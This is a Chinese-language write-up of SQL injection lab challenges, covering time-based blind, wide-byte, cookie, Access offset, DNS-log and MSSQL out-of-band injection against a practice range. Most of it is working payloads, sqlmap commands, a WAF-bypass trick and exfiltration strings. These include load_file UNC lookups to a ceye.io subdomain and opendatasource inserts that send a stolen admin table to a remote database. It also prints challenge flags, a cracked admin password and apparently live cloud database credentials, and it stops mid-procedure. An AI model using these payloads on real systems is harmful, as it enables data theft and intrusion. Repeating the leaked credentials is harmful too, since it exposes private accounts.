if(ex1,ex2,ex3) : 等同 C语言的条件表达式 ex1 ? ex2 : ex2 。
靶场:http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/

通过 if() + sleep() 判断是否存在注入点。

if(1=1,sleep(6),10)
意思是,如果 1=1 为真,那么暂停 10 秒,否则返回 10。

打开 url :http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1' --+

 

 

把 if(1=1,sleep(6),10) 加进去:

http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1' and if(1=1,sleep(6),10)--+

 

页面会加载 6 秒才弹出来处理的结果,结合布尔盲注,把 ex1 改成 ascii(substr((select database()),1,1))=11。

http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1' and if(ascii(substr((select database()),1,1))=11, sleep(6), 10)--+
http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))=11,sleep(6),10)%20--+

 

这俩个 url 是一样的,后面的是浏览器解析的。

这次没有暂停,马上就弹出处理结果了:

 

 

if(ascii(substr((select database()),1,1))=11, sleep(6), 10)

ascii(substr((select database()),1,1))=11 ,判断库名的第一个字母的 ascii 是 11
是 11 就暂停 6 s,不是就返回 10
显然,这里执行的 ex3,也就是说还得继续猜,如果出现暂停的界面就是正确的 ascii !

使用 Burp Suite 跑,改几个参数,把正确的包 sleep(6) 改成 sleep(120) ,最后 1 个还没跑好的包就是正确的包,120 要根据实际情况而定,时间设定为最后一个跑完的。

 

手工注入、Burp Suite 也是比较麻烦,可以使用 sqlmap。

输入语句直接跑:

python sqlmap.py -u http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1

一路回车:

 

 

上面说存在 3 种注入点:

  boolean-based blind:布尔盲注
  error-based:显错注入
  time-based blind:时间盲注

接着,查看数据库版本:

python sqlmap.py -u http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1 --dbs

当前库有 5 个表:

 

 

而后,查看表:

python sqlmap.py -u http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1 --table

跑出了好多,我们只需要这个:

 

猜测,flag 在 zkaq 的表里,跑 zkaq 表的字段看看:

python sqlmap.py -u http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1 -D security -T zkaq --columns

有 flag 的字段,的确在这里,最后枚举内容:

python sqlmap.py -u http://59.63.200.79:8812/New/BlindBased/RankOne/sql-one/?id=1 -D security -T zkaq --dump

一一匹配,即可过关 ~

盲注 Rank 1 的 flag: zKaQ-B1indB7s4d

盲注 Rank 2 的 flag: zKaQ-SqLInJectOnE

延时注入 Rank 1 的 flag: zKaQ-D4la7Bas4d

延时注入 Rank 2 的 flag: zKaQ-T1m4B3s4d

延时注入 Rank 3 的 flag: zKaQ-T1m4Ba3edTh2ee

 

 

宽字节注入

 

在浏览器搜索栏里输入,网络安全。

URL = https://www.baidu.com/s?wd=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8&rsv_spt=1&rsv_iqid=0x8b63e57a000aed6d&issp=1&f=8&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&rsv_sug3=8&rsv_sug1=8&rsv_sug7=100&rsv_t=d48aAdR1RPlXrjOJTWjdo2jhkg6sv%2B36xTdXnEH6N7281kf0kEw0I4FReiMUrENqqB2C

因为这是 Get 传参,因此查询的内容会拼接到 url 后面以 ? 做分割。

ie=utf-8 , 采用的编码是 utf-8 。

wd=%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8 ,wd= 后面的字符其实 "网络安全" 4 个字的 utf-8 编码。

这里就有几个问题了。

编码是什么 ?
%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8,这一串编码是怎么来的 ?

计算机是以二进制存储数据的,这篇文章所有文字在存储之前都被转成了 二进制。

这些文字必然要对应到固定的二进制,比如 ASCII 表上面的 127 个字符都可以对应到二进制中。

不过,ASCII 表只能存储英文、阿拉伯数字、标点符号、特殊符合、一些具有控制功能的字符。

所以,为了能让计算机显示、存储本国语言,各个国家自己建立了编码,比如:

中国有了 gbk
日本有了 Shift_Jis
台湾有了 Big5
......
上面的字符编码都是兼容 ASCII 表的,原来 ASCII 中已经包含的字符,在国家编码(也叫地区编码)中的位置不变(也就是编码值不变),只是在这些字符的后面增添了新的字符。

标准 ASCII 编码共包含了 128 个字符,用一个字节就足以存储(实际上是用一个字节中较低的 7 位来存储),而日文、中文、韩文等包含的字符非常多,有成千上万个,一个字节肯定是不够的(一个字节最多存储 28 = 256 个字符),所以要进行扩展,用两个、三个甚至四个字节来表示。

在 Python 中,中文转换成 url 格式,也就是上面的 "网络安全" 转 %E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8 需要先用encode('utf-8')将其转成 utf-8 编码,然后再用quote()把转化成 url 的一部分。

Python 转 utf-8:

from urllib.request import quote 
a = '网络安全'
a = a.encode('utf-8')
# 将汉字,用 utf-8 格式编码print(a)# 显示网络安全的 utf-8 格式编码
print(quote(a))
# quote()函数,可以帮我们把内容转为标准的 url 格式,作为网址的一部分打开

网络安全 utf-8 编码: b'\xe7\xbd\x91\xe7\xbb\x9c\xe5\xae\x89\xe5\x85\xa8'
网络安全 url 格式的 utf-8 编码: %E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8

 

Python 转 gbk:

from urllib.request import quote 
a = '网络安全'a = a.encode('gbk')
# 将汉字,用 gbk 格式编码
print(a)
# 显示网络安全的 gkb 格式编码
print(quote(a))
# quote()函数,可以帮我们把内容转为标准的 url 格式,作为网址的一部分打开

网络安全 gbk 编码: b'\xcd\xf8\xc2\xe7\xb0\xb2\xc8\xab'
网络安全的url 格式的 gbk 编码: %CD%F8%C2%E7%B0%B2%C8%AB

 

如果要在网络上传输,或者保存到磁盘上,Python 就会把 str 变为以字节为单位的bytes。

Python对 bytes 类型的数据用带b前缀的单引号或双引号表示,bytes的每个字符都只占用一个字节。

因为各国互不兼容,非常不利于全球化发展。

后来国际组织发行了一个全球统一编码表,把全球各国文字都统一在一个编码标准里,名为Unicode。

Unicode 也称为统一码、万国码,大概容纳了 100 多万个符号,Unicode网址:https://unicode-table.com/cn/ 。

Unicode 在存储方面因为考虑到用途不同,就分成 3 种方式存储。

UFT-8:一种变长的编码方案,使用 1~6 个字节来存储;
UFT-32:一种固定长度的编码方案,不管字符编号大小,始终使用 4 个字节来存储;
UTF-16:介于 UTF-8 和 UTF-32 之间,使用 2 个或者 4 个字节来存储,长度既固定又可变。
用于存储和传输时:如源文件需要保存到硬盘,或者在网络上传输,使用的编码要尽量节省存储空间,同时要方便跨国交流,这种编码字符集叫 utf-8。

用于运行字符集(处理或者操作)时:程序中的字符或者字符串,在程序运行后必须被载入到内存,才能进行后续的处理,对于这些字符来说,要尽量选用能够提高处理速度的编码,例如 UTF-16 和 UTF-32 编码就能够快速定位(查找)字符。

此时,我们可以分别用 url 格式的 gbk 编码 和 url 格式的 utf-8 编码去访问一个网页:

 

修改这俩处,emmm,发现打开的都是一样的搜索结果 !!!

这就是 gkb 和 utf-8,一般而言,在中国 gbk 是很普遍的。

GBK 是双字节编码(一个字符占俩个字节),也叫宽字节编码;窄字节编码的一个字符只占一个字节。

GBK 是地区编码,而 utf-8 是统一码,而每个国家或多或少都会采用本国的地区编码......

于是,开发人员为了方便,将数据库编码设置这些宽字节编码,这样就可能产生了宽字节注入。

比如, PHP 发送请求到 MySQL 时,使用了语句 set names 'gbk' 或者 set character_set_client = gbk,会进行一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

一个字符占俩个或以上的字节都叫宽字节,但在中国能实现宽字节注入的我只知道 gbk。

在 PHP 中有一个防御函数:

魔术引号开关:magic_quotes_gpc( )
魔术引号开关 在 PHP 中的作用是判断解析用户提交的数据,如:Post、Get、Cookies 。

魔术引号开关 会从这些地方检测是否存在特殊字符引发数据库的自动执行而出现的过滤函数。

魔术引号开关 的具体做法也是十分高效,凡出现单引号、双引号、反斜线、NULL等会污染数据库的字符,就在这些数据前加一个转义字符 " \ ",全部过滤了。

这样我们输入单引号、双引号等等内容都不能起到闭合效果,sql 注入就不能完成了。

为了绕过 魔术引号开关 的 \,借用本国的 gbk 编码。

\ 的编码是 %5c,于是我们在 gbk 编码表里找一个有 %5c 组成的汉字,如 運。

運 的编码是 %df%5c,假设 我们输入 ' and -1=-2--+,sql 语句如下:

select * from users where id='1\' and -1=-2 --+'
绿色是我们输入的内容,因为一个 \ 真的当成了内容了。

 

 

明明 -1=-2 是错误的,应该显示不了正常的界面(不正常:俩个 zkz 不会显示)。

说明前面的 单引号 没有起到闭合的作用啦 ~

所以,一定得把 \ 去掉。

靶场 url:http://59.63.200.79:8812/New/WidecharBased/RankOne/sql-one/?id=1

输入并拼接到靶场 url 后:'' --+ (俩个单引号和注释)

 

 

看到么,每一个单引号前都加了一个反斜线。

按照计划,我们提前 Add %df 即可。

http://59.63.200.79:8812/New/WidecharBased/RankOne/sql-one/?id=1%df' and -1=-2--+

 


这样 ?\ 就组成了 運 字,而后面的单引号也就可以闭合了前面的单引号了,and -1=-2 也就起作用了,因此啊这次没有显示 zkz。

接下来也是的注入基本同显错注入的步骤:

猜字段数:?id=1%df' order by 3--+
看输出点:?id=1.1%df' union select 1,2,3--+ 或 ?id=1%df' and -1=-2 union select 1,2,3--+
获取库名:?id=1.1%df' union select 1,2,database()--+ 或 ?id=1%df' and -1=-2 union select 1,2,database()--+
获取表名:?id=1.1%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit i,1--+
获取字段名:?id=1.1%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='zkaq' limit i,1--+ , 'zkaq' 这里也会加 \,这时哪怕加 %df 也找不到 'zkaq' 库。
解决方法是,'zkaq' 转为 16 进制(数据库会自动转换),字符转 16 进制网址:http://www.bejson.com/convert/ox2str/。
zkaq = 0x7a6b6171
?id=1.1%df' union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name=0x7a6b6171--+
获取字段值:?id=1.1%df' union select 1,group_concat(flag),group_concat(zKaQ) from zkaq--+
宽字节注入 Rank 1 的 flag:zKaQ-W1dech4rSQL

宽字节注入 Rank 2 的 flag:zKaQ-adds1ash4s

宽字节注入 Rank 3的 flag:zKaQ-Slash4sSQl

宽字节注入,介绍完毕。

 

 

Cookie 注入

Cookie 注入和数据库系统、版本无关,主要用于有关键字过滤的网站的注入。

 

 

靶场 url :http://59.63.200.79:8004/index.asp

点击其中某一篇新闻,因为主页没有注入点。

首先,判断注入点:在 URL 后加一个单引号:

 

 

界面说,不能包含一些特殊的字符和单词(会污染数据库的)。

判断注入点这一步因为被过滤了,改用减法判断。

id=169 时,新闻是《上海凡太克工程机械有限公司增设喷丸》

id=168 时,新闻是 《我国宜优先发展的几种包装机械》

id=169-1 时,新闻是 《我国宜优先发展的几种包装机械》,因此我们输入的数据的确被带到了数据库里执行。

 

猜字段数:id=168 order by 1

知道 order by 11 , 界面才出现错误因此字段数 = 10。

 

接着,寻找输出点:id=168.1 union select 0,1,2,3,4,5,6,7,8,9

 

 

这时候可以用浏览器的插件:Modify Headers。

 

 

Chrome 还需要下载安装,推荐使用火狐到插件商店下载即可。

更方便的是,通过每个浏览器自带的控制台。

鼠标右键[检查] -> [控制台]

 

 

在这里可以执行任意 JS 语句。

寻找输出点:document.cookie="id="+escape("168 and 1=2 union select 0,1,2,3,4,5,6,7,8,9 from admin");

 

 

document 是 JS 里面的类,document 有很多方法可以调用:

 

 

可以使用 document.cookie 查询 cookie 。


也可以使用 document.cookie 设置 cookie,例如:

寻找输出点:document.cookie="id="+escape("168 and 1=2 union select 0,1,2,3,4,5,6,7,8,9 from admin");
id= :Cookie 的传参名

escape:是一个函数,功能是把字符转为 URL 格式因为 Cookie 传参值需要是 URL 编码

168 and 1=2 union select 0,1,2,3,4,5,6,7,8,9 from admin:Cookie 传参值

控制台和 cmd 一样,按上下键可以回溯/逆回命令。


摁 "enter",刷新网页,得到输点:1、2、6、7

获取 admin 表里面的账号密码:

document.cookie="id="+escape("168 and 1=2 union select 0,username,2,3,4,5,6,password,8,9 from admin");

 


另外,Sqlmap 实现 Cookie 注入:

python sqlmap.py -u http://xxx.com --cookie "id=168" --level 2

 

在主页 url 后加 /admin,跳转到后台:

 

 

输入用户名称:admin

输入用户密码:b9a2a2b5dffb918c

输入验证码后登陆,居然失败了 ~

好像获取到的密码是经过加密的,我们可以到这个网站去猜:https://cmd5.com/

 

 

查询为:welcome,继续登陆。

 

 

登陆成功,flag:zkz{welcome-control}。

也许,您看着 admin 表有点奇怪,是的我省略了, MySQL 数据库中获取 表名 的步骤不需要重复之前的记录了吧。

如果是 Access 数据库,只能猜一些常用的表名了(admin表是很常见的),首先 Access 数据库只有一个库,可以不用知道。

不知道表名的情况可以靠 exists() 函数,功能是检查子查询能否查询到数据,如果找到会返回 True。

爆破 :and exists(select * from 表名)
不知道字段名的情况可以参考偏移注入。

判断注入点:id=169-1
猜字段数: id=168 order by 10
寻找输出点:id=168.1 union select 0,1,2,3,4,5,6,7,8,9
document.cookie="id="+escape("168 and 1=2 union select 0,1,2,3,4,5,6,7,8,9 from admin");
爆破表名:and exists(select * from admin)
爆破字段名:见偏移注入
获取字段值:168 and 1=2 union select 0,username,2,3,4,5,6,password,8,9 from admin
document.cookie="id="+escape("168 and 1=2 union select 0,username,2,3,4,5,6,password,8,9 from admin");

偏移注入

MySQL 、access 都有偏移注入,主要用于不怎到字段名时的注入。

靶场:http://59.63.200.79:8004/

如果是按照顺序看下来的,可以尝试根据下面的步骤先做一下。


偏移注入的步骤:

判断是否存在注入点
猜字段数
判断表名
判断输出点
联合查询获取表中的列数
偏移注入


判断是否存在注入点:?id=171-1

对比 id=170 和 id=171 的俩篇新闻发现减法生效,说明存在注入点。

 

猜字段数:id=171 order by n

经过枚举,得到字段数为 10。

 

判断表名,靶场采用的数据库是 Access。

因为access数据库没有默认系统自带表,只能靠猜来获得库名和表名,准备一个字典像破解密码一样去破解表名、字段名。

爆破前,一定要删除 URL 的 Get 类型的传参。

假设表名是 admin,

爆破对了:document.cookie="id="+escape("171+and+exists+(select * from admin)"),界面会正常。
爆破错了:document.cookie="id="+escape("171+and+exists+(select * from admin)"),界面会错误。

 爆破对了,界面正常

爆破错了,界面异常

 

判断输出点,构造语句即可。

知道字段为 10,document.cookie="id="+escape("168 and 1=2 union select 0,1,2,3,4,5,6,7,8,9 from admin");

 


输出点:1、2、6、7、8。

 

联合查询获取表中的列数,

document.cookie="id="+escape("170 order by 100");

注入需要在与数据库交互的地方,这里没有传参因此不存在注入点。

 

在此之前,清空 Cookie 的缓存

 

 

去掉URL的 Get 类型传参(访问这个链接:http://59.63.200.79:8004/ProductShow.asp),

判断注入点:document.cookie="id="+escape("106-1");
猜字段数:document.cookie="id="+escape("105 order by 26");
知道字段名的情况(猜出字段名有 username、password、id 等):

document.cookie="id="+escape("105 union select 1,2,id,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin");
document.cookie="id="+escape("105 union select 1,2,username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin");
document.cookie="id="+escape("105 union select 1,2,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from admin");
......
不知道字段名的情况下,联合查询判断列数(猜不出字段名时):

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,admin.* from admin");
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin"); (只有这个,界面正常)
admin.* :表示 admin 表里所有的字段也就是 16 个因为总的字段数是26,10 + admin.* = 26。

 

 

3 >> 5 >> 7 的 3、5、7 就是输出点。

 

 

 

登陆网站后台,

账号:admin

密码:welcome

通关密钥:zkz{welcome-control}。

拿着 通关密钥:zkz{welcome-control} 提交靶场,发现 flag 错误。

说明 flag 应该在别的表里,回想:

我们看到的输出点是 3、5、7。

看到的输出不一定是完整的输出,也许在源码里面会有更多的输出。

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin"); (界面正常)

我们通过改变 admin.* 的位置得到了管理员的账号密码等等信息,但表中还有信息可以通过不断的偏移得出来,最后 admin.* 在第 10 位得到了 flag。

document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,admin.*,11 from admin")

 

DNS 注入

 DNS 注入全称为 DNS LOG 注入也是 Mysql 特有的,是将查询到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

一般用于在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过DNS log把想获得的数据外带出来或者说,把盲注变成DNS注入。

需要掌握的函数:

load_file(str):str 是文件路径,功能是返回文件的内容。
str :可以是文件的绝对路径、UNC路径,DNS 注入采用的就是 UNC 路径。

UNC格式为:\\servername\sharename\directory\filename。

servername:服务器的名字
sharename:共享资源的名字
directory:文件夹的名字
filename:文件的名字
本来这个功能没什么,但我们结合一个查询 DNS 记录的网址就不一样了,网址是 :http://ceye.io/。

打开 URL 请先注册好,并设置。

 

 

DNS 查询:构造语句让目标网站的服务器来访问 ug0tad.ceye.io(每个账号专属),而后被DNS服务器记录下来。

load_file(select database(), '.ug0tad.ceye.io/abc');
select database():子查询可以获取库名,这样数据库就去访问 database().ug0tad.ceye.io 的服务器下的共享文件夹abc。

诶,不过这个还不是 UNC 路径,通过 concat 连接组成 UNC 路径:

load_file( concat('//' , ( select database() ), '.ug0tad.ceye.io/abc') );

 


( select database() ): 通过构造不同的子查询语句可以得到数据库的内容。

靶场 URL:http://59.63.200.79:8014/index3.php

构造语句:?id=1 and (select load_file( concat('//' , ( select database() ), '.ug0tad.ceye.io/abc') ))

 

判断注入点,构造语句 :?id=1 and 1=1

 

 

这个网站有一种叫安全狗的防护机制,and 1=1 被屏蔽了。

 

安全狗有白名单机制:白名单中的(如IP地址、IP包、邮件等)会优先通过,不会被当成垃圾邮件拒收,安全性和快捷性都大大提高,一般而言, .txt 文件因为没有任何作用因此就在白名单中,白名单是设置能通过的,白名单以外的都不能通过。

这个靶场采用的是 Apache, Apache 有俩个特点:

Apache 是从右往左解析 URL 中的文件名
当 Apache 遇到一个不存在的文件, Apache 会往前(左)解析。
比如,http://59.63.200.79:8014/index3.php ,Apache从右往左解析就会先访问 index3.php 这个文件。

为了绕过安全狗,得添加一个白名单上的类型,如 .txt 文件、.css 文件。

http://59.63.200.79:8014/index3.php/demo.txt,Apache从右往左解析发现 demo.txt 文件不存在,那 Apache 就会向前(左)解析 index3.php,这样界面就不会出现 404,但界面可能会挂掉一些图片因为图片访问路径不一样了。

http://59.63.200.79:8014/index3.php/demo.txt?id=1
安全狗就觉得, .txt 文件不会影响服务器也就不会对后面的参数检查了。

重新判断注入点:

?id and 1=1 再试一下 ?id and 1=2
界面都是一样的,说明不存在显错注入点,那再试试盲注:

?id=1 and sleep(3)
界面暂停了一会,说明存在盲注的注入点。

 

既可以使用盲注的方法,也可以用 DNS LOG 注入代替盲注。

猜字段数、判断输出点都不需要,因为我们只需要到 DNS log 记录里看就好。

 

模板:?id=1 and (select load_file( concat('//' , ( select database() ), '.ug0tad.ceye.io/abc') ))

 

利用 Mysql 语法构造子查询语句即可, ( select database() )。

以下的所有语句,如果是正确的,浏览器会暂停一会因为这时候正在访问 DNS 网址。

mangzhu 是库名,获取表名:

admin 表 : ?id=1 and (select load_file( concat('//' , (select table_name from information_schema.tables where table_schema="mangzhu" limit 0,1) ,'.ug0tad.ceye.io/abc') ))
news 表 : ?id=1 and (select load_file( concat('//' , (select table_name from information_schema.tables where table_schema="mangzhu" limit 1,1) ,'.ug0tad.ceye.io/abc') ))
......
获取 admin 表里的字段名:

Id 字段:?id=1 and (select load_file( concat('//' , ( select column_name from information_schema.columns where table_name="admin" limit 0,1 ), '.ug0tad.ceye.io/abc') ))
username 字段:?id=1 and (select load_file( concat('//' , ( select column_name from information_schema.columns where table_name="admin" limit 1,1 ), '.ug0tad.ceye.io/abc') ))
password 字段:?id=1 and (select load_file( concat('//' , ( select column_name from information_schema.columns where table_name="admin" limit 2,1 ), '.ug0tad.ceye.io/abc') ))
获取字段值:


?id=1 and (select load_file( concat('//' , ( select password from admin limit 0,1 ), '.ug0tad.ceye.io/abc') ))

flag :1flag1good1
得到 flag 。

推荐资料:绕 waf 机制。

 

 

反弹注入

反弹注入的应用场景是,关系型数据库中的 Microsoft SQL Server,简称 MsSQL。

首先创建一个 MsSQL 数据库,如图:

 

 

香港云 URL:http://www.webweb.com/

 

 

 

点击注册,免费用 60 天学习是足够了,操作步骤按图索骥:

 

 

电子邮件可以用自己的邮箱等等,也可以用匿名邮箱。

匿名邮箱网址我知道一个,10分钟邮箱:https://bccto.me/

 

 

 

邮箱:debroon@bccto.me,这个邮箱 10 分钟内有效。

在香港云注册好:

 

 

 

 

注册好了,我们再弄一个 MsSQL 数据库,

 

 

点击马上试用,

 

 

只需要一个数据库不需要修改配置,一路回车即可。

 

 

这里会等得很久、很久(超过 6 s)。

 

 

创建好了:

 

 

点击登入。

 

 

 

 

 

 

 

 

把这些记下来:


数据库链接地址: SQL5006.webweb.com
数据库名: DB_14B5BE7_Debroon
用户名: DB_14B5BE7_Debroon_admin


通过 SQL Server 控制台登陆:

 

 

跳转到了 Web 页面,把表单填上:

 

 

 

创建一张叫 admin 的表。

 

 

构造语句,创建表:create table admin(id char(255), username char(255), password char(255))

admin:表名
id、username、password:admin 表中的字段名
char(255):是此字段最大的容纳长度
点击 [Submit] 提交。

 

 

 

 

 

MsSQL 也有一张表负责记录数据库上所有表的信息,构造语句查看Ta。

select * from sysobjects

 

构造语句:

select * from sysobjects where xtype='U'
可以找到我们刚刚创建的 admin 表。

 

 

构造语句,以 id 查看 admin 表的内容:

 

 

深蓝框的都是 sysobjects 表的字段名,其中 name、id、xtype 对 SQL 注入有帮助。

name 是字段的名字,id 是表的主键,用于区分表(当重名时就靠 id 区分),表里面的所有字段 id 都是相同的,因此我们还可以利用 id 提取所有字段。

 

靶场 URL:http://59.63.200.79:8015/?id=1 。

 

界面正常

MsSQL 数据库是关系型数据库之一,支持 SQL 语句。

我们来试一下,是否存在注入点。

?id=1 and -1=-1
虽然界面异常,但的确存在注入点。

 

 

id='1 and -1=-1',假设单引号里面的是单个字符,如 'a'。

因此 1 前面有一个单引号,我们需要闭合掉,-1 后面的引号注释掉, --+ :是MsSQL数据库的注释符:

?id=1' and -1=-1--+

                           界面正常

得到注入模型:?id=1' --+。

我们注入的方式就选为使用 SQL 语句的联合查询,那么使用前需要猜字段数。

?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
得到字段数是 3,使用联合查询前还得知道虽然关系型数据库都支持 SQL 语句,但语句略也不同。

譬如,MySQL 的联合查询是 :union select 字段1, 字段2, 字段3 from 表 ,

字段1、2、3 可以是SQL语句中的任何数据类型。

e.g. ?id=1' union select 1, 2, 3 from admin --+。

MsSQL 的联合查询是 :union all select 字段1, 字段2, 字段3 from 表 ,

字段1、2、3 只能是SQL语句中的 字符型 或 空(关键字:null)。

e.g. ?id=1' union all select '1', '2', '3' from admin --+ ,

或 ?id=1' union all select null, null, null from admin --+。

 

 

我知道的 3 个常用获取表名的方法:

字典枚举,猜出来 。
也可以去 MsSQL 里找一个系统自带库:master ,就如 MySQL 在 5 以上的版本都自带了一个数据库,叫 information_schema ,
查询系统表 : select name from master.dbo.sysdatabases

只要网站不是跨库运行,就可以找 sysobjects 系统对象表(MsSQL 中每一个库中都有一个 sysobjects 表) ,
查询系统表 : select name from sysobjects

 


sysobjects 系统对象表

深蓝框的都是 sysobjects 表的字段名,其中 name、id、xtype 对 SQL 注入有帮助。

name 是名字,id 是主键,用于区分表(当重名时就靠 id 区分),表里面的所有字段 id 都是相同的,因此我们还可以利用 id 提取所有字段;xtype 是区分表的类型,我们可以提取所有非系统自带表,都很重要。

构造语句,查看当前库的 sysobjects 。

?id=1' union all select '1', '2', '3' from sysobjects --+

 


好吧,啥也看不到。

构造语句,查看用户创建的表(非系统自带):

?id=1' union all select null,name,null from sysobjects where xtype='U'--+

 


当前库有 3 个表: news、admin、dtproperties ,主观猜测 admin 表有价值。

 

构造语句,提取 admin 表里的字段名:

?id=1' union all select null,name,null from syscolumns where id=1977058079 --+

                                    admin 参考图示


构造语句,获取 admin 表的字段值:

?id=1' union all select null,passwd,token from admin--+

得到 flag :zkaq{e9c9e67c5}。

 

[MsSQL 联合查询的显错注入]基本步骤:

  判断是否注入点:?id=1 and -1=-1
  猜字段数: ?id=1' order by 3 --+
  获取表名: ?id=1' union all select null,name,null from sysobjects where xtype='U'--+
  获取字段名: ?id=1' union all select null,name,null from syscolumns where id=1977058079 --+
  获取字段值: ?id=1' union all select null,passwd,token from admin--+


到这里为止,介绍的是 MsSQL 联合查询方式的显错注入,以及 MsSQL 数据库的基本知识。

 

 

反弹注入:原理是把查询出来的数据发送到我们的 MSSQL 服务器上,还需要自己的 MSSQL 数据库和一个公网IP。

发送使用 opendatasource(para1, para2) ,ta有俩个参数,功能是把当前数据库查询的数据发送到另一数据库服务器中。

第一个参数是,接收数据的数据库代号,如 MsSQL 数据库的代号是 sqloledb 。

第二个参数是,代号下的各种发送需要的配置,如地址、端口、用户名、密码、数据库名。

server=连接地址,端口;
uid=用户名;
pwd=密码;
database=数据库名

 


以我在香港云创建的 MsSQL 数据库为例,

server=SQL5006.webweb.com,1433
uid=DB_14B5BE7_Debroon_admin
pwd=bccto.me
database=DB_14B5BE7_Debroon
写到函数里,就是这样:

opendatasource('sqloledb', 'server=SQL5006.webweb.com,1433; uid=DB_14B5BE7_Debroon_admin; pwd=bccto.me; database=DB_14B5BE7_Debroon')

把查询到的数据发送过去,查询数据的语句是这样:

opendatasource('sqloledb', 'server=SQL5006.webweb.com,1433; uid=DB_14B5BE7_Debroon_admin; pwd=bccto.me; database=DB_14B5BE7_Debroon').DB_14B5BE7_Debroon.dbo.需要插入的表名 select * from 需要查询的表名

DB_14B5BE7_Debroon:是在外网设置的;
dbo :是权限,直接写即可
需要插入的表名:需要我们在数据库新建一个字段数相同的表
在香港云 MsSQL 控制台输入:create table admin2(id char(255), username char(255), password char(255), token char(255))

创建一个拥有 4 个字段的 admin2 表,为什么是 4 个字段这是通过猜字段得出的,具体见前面的 MsSQL 显错注入。

 

构造语句:

opendatasource('sqloledb', 'server=SQL5006.webweb.com,1433; uid=DB_14B5BE7_Debroon_admin; pwd=bccto.me; database=DB_14B5BE7_Debroon').DB_14A5E44_Debroon.dbo.admin2 select * from admin

 

完善:

?id=1';insert into opendatasource('sqloledb', 'server=SQL5006.webweb.com,1433; uid=DB_14B5BE7_Debroon_admin; pwd=bccto.me; database=DB_14B5BE7_Debroon').DB_14A5E44_Debroon.dbo.admin2 select * from admin --+

 

?id=1'; :后面的分号意味着一条语句的结束,因此这里有俩条语句。

http://59.63.200.79:8015/?id=1';
insert into opendatasource('sqloledb', 'server=SQL5006.webweb.com,1433; uid=DB_14B5BE7_Debroon_admin; pwd=bccto.me; database=DB_14B5BE7_Debroon').DB_14A5E44_Debroon.dbo.admin2 select * from admin --+
insert into :插入语句,整个意思是把 opendatasource() 函数后面的语句查询到的数据插入到香港云的 admin2 表里。

 

MsSQL 数据库备用建立平台:https://my.gearhost.com/CloudSite 。

哎呀。

香港云服务器有问题,数据传输不了。

在上面的网站里创建 MsSQL 数据库,用香港云作连接器,一定把反弹注入搞出来 !!!

 

 

注册、登陆步骤略。

输入数据库名字,默认选择 MSSQL 数据库,虽然只有 10 MB,但应该够了......

 

 

 

 

点击创建空数据库即可。

 

 

把这些数据记录下来:

数据库链接地址: den1.mssql8.gear.host
数据库名: debroon
用户名: debroon
密码: Er2MDzH0!-Fi
填入:

 

 

如果 admin2 表不存在,需要建立。

create table admin2(id char(255), username char(255), password char(255), token char(255))

 


查看一下,的确存在且除字段外没有如何数据。

 

 

原来香港云的替换为备用网站的数据库:

